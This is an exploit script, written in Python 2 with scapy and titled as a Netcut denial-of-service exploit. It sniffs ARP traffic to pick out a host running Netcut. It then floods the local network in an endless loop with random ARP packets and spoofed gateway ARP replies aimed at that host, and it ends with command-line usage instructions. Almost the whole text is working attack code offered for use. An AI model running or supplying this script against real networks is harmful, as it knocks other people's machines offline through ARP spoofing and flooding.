#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Blog: http://mayaseven.blogspot.com
#PoC: Video http://www.youtube.com/user/mayaseven
# Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput("ip route list | grep default").split()[2]
def protect(gw_ip,gw_mac):
os.popen("arp -s %s %s" %(gw_ip,gw_mac))
print "Protected himself"
def detect():
ans = sniff(filter='arp',timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print "Detecting..."
d = detect()
for i in range(len(d)):
if d[i].split()[0] == "255.255.255.255":
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print "There is a possibility that " + str(result) + "%"
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
if __name__ == '__main__':
os.system("clear")
print "###################################################"
print " __ __ __ __ _____ __ __ _ _"
print "| \/ | \ \ / / / ____| \ \ / / | \ | |"
print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |"
print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |"
print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |"
print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
print " "
print "###################################################"
print ""
print "http://mayaseven.blogspot.com"
print ""
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print '''Mode:
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''
